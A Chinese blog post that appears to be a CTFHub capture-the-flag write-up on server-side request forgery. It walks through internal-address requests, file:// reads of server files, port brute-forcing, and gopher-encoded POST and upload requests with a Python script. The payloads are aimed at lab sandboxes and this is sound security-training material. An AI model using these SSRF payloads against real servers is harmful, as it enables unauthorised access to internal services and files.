WEB周报-SSRF

未分类
4.9k 词

CTFHub技能树 Web-SSRF篇(保姆级通过教程)_gopherus安装-CSDN博客

知识点

服务器接受了来自于客户端的URL 地址,并由服务器发送该URL 请求。

原理:对用户输入的URL 没有进行恰当的过滤,导致任意URL 输入。没对响应的结果进行检验,直接输出。

题 目-CTFHUB

内网访问

1746955738179-20

构建url得到flag

1
/?url=127.0.0.1/flag.php

ctfhub{dce51d0167c310532175beb7}

伪协议读取文件

1746955738150-1

直接访问是读取不到的:

1746955738151-2

什么是url伪协议?让php脚本通过一种特殊的url语法来访问获取各种资源

0x10类型:

表格 还在加载中,请等待加载完成后再尝试复制

使用第一种类型,(web目录默认var/www/html)构造payload:

1
/?url=file:///var/www/html/flag.php

查看源码得到flag ctfhub{057fad31ddad72bac2ec5c55}:

1746955738151-3

端口扫描

1746955738151-4

端口范围是8000-9000,bp爆破Intruder:

1746955738151-5

1746955738152-6

得到端口:8097

1746955738152-7

构造url,得到flag:

1746955738152-8

ctfhub{dfa03e4f6eb3b2a23cb61f5d}

二(gopher协议的利用)

表格 还在加载中,请等待加载完成后再尝试复制

POST请求

1746955738152-9

/?url=127.0.0.1/flag.php

1746955738152-10

查看源代码:key=6f8cd4f725e09881cd8787034ee0f6bb

1746955738152-11

1746955738153-12

构造查看两个源代码

1
2
3
?url=file:///var/www/html/index.php
?url=file:///var/www/html/flag.php
<?php error_reporting(0); if (!isset($_REQUEST['url'])){ header("Location: /?url=_"); exit; } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_exec($ch); curl_close($ch);

1746955738153-13

1
<?php  error_reporting(0);  if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {     echo "Just View From 127.0.0.1";     return; }  $flag=getenv("CTFHUB"); $key = md5($flag);  if (isset($_POST["key"]) && $_POST["key"] == $key) {     echo $flag;     exit; } ?>  <form action="/flag.php" method="post"> <input type="text" name="key"> <!-- Debug: key=<?php echo $key;?>--> </form>

1746955738153-14

根据两端源代码和key以及目标地址可以构造gopher请求:(使用chat生成)

我们构造如下 Gopher payload:

  • 请求目标地址:127.0.0.1:80
  • 请求路径:/flag.php
  • 请求方法:POST
  • 请求体内容:key=6f8cd4f725e09881cd8787034ee0f6bb
  • 设置请求头:Content-TypeContent-Length

原始 HTTP 请求:

1
2
3
4
5
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=6f8cd4f725e09881cd8787034ee0f6bb

注意:Content-Length: 36 是正文的字节数(可通过 Python 等工具验证)

在向服务器发送请求时,首先浏览器会进行一次 URL解码,其次服务器收到请求后,在执行curl功能时,进行第二次 URL解码。

所以我们需要对构造的请求包进行两次 URL编码

转url编码:

1
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0D%0AHost:%20127.0.0.1%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0AContent-Length:%2036%0D%0A%0D%0Akey=6f8cd4f725e09881cd8787034ee0f6bb

将其作为参数传给 index.phpurl 参数:(没成功,接下来用脚本运行)

1
http://challenge-13840e809d9f4856.sandbox.ctfhub.com:10800/?url=gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0D%0AHost:%20127.0.0.1%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0AContent-Length:%2036%0D%0A%0D%0Akey=6f8cd4f725e09881cd8787034ee0f6bb

运行:

  1. 保存为 ssrf_gopher.py
  2. 安装依赖(下次可以直接使用):
1
pip install requests
  1. 运行脚本:
1
python ssrf_gopher.py

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests

target_url = "http://challenge-13840e809d9f4856.sandbox.ctfhub.com:10800"

# 使用精确 Content-Length: 36
gopher_payload = (
"gopher://127.0.0.1:80/_"
"POST%20/flag.php%20HTTP/1.1%0D%0A"
"Host:%20127.0.0.1%0D%0A"
"Content-Type:%20application/x-www-form-urlencoded%0D%0A"
"Content-Length:%2036%0D%0A"
"%0D%0A"
"key=6f8cd4f725e09881cd8787034ee0f6bb"
)

params = {
"url": gopher_payload
}

resp = requests.get(target_url, params=params)
print("Response:")
print(resp.text)

#ctfhub{bc3843a39675fd131afd4ed0}

上传文件

1746955738153-15

访问/flag.php没有提交方式

1746955738153-16

通过查看源码,并在from表单中写入 submit ,如下:

1
<input type="submit" name="submit">

1746955738153-17

就有提交按钮了:

1746955738153-18

随便上传:

1746955738153-19

使用bp抓包,用得到的数据包来构造请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /flag.php HTTP/1.1
Host: challenge-5d18afdced3fe31f.sandbox.ctfhub.com:10800
Content-Length: 278
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://challenge-5d18afdced3fe31f.sandbox.ctfhub.com:10800
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVH6HYD3uiOjd6wp9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.59 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://challenge-5d18afdced3fe31f.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundaryVH6HYD3uiOjd6wp9
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/plain


------WebKitFormBoundaryVH6HYD3uiOjd6wp9
Content-Disposition: form-data; name="submit"

提交
------WebKitFormBoundaryVH6HYD3uiOjd6wp9--
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0D%0AHost:%20127.0.0.1%0D%0AContent-Length:%20278%0D%0AContent-Type:%20multipart/form-data;%20boundary=----WebKitFormBoundaryVH6HYD3uiOjd6wp9%0D%0A%0D%0A------WebKitFormBoundaryVH6HYD3uiOjd6wp9%0D%0AContent-Disposition:%20form-data;%20name=%22file%22;%20filename=%221.txt%22%0D%0AContent-Type:%20text/plain%0D%0A%0D%0A%0D%0A------WebKitFormBoundaryVH6HYD3uiOjd6wp9%0D%0AContent-Disposition:%20form-data;%20name=%22submit%22%0D%0A%0D%0A%E6%8F%90%E4%BA%A4%0D%0A------WebKitFormBoundaryVH6HYD3uiOjd6wp9--

一直无响应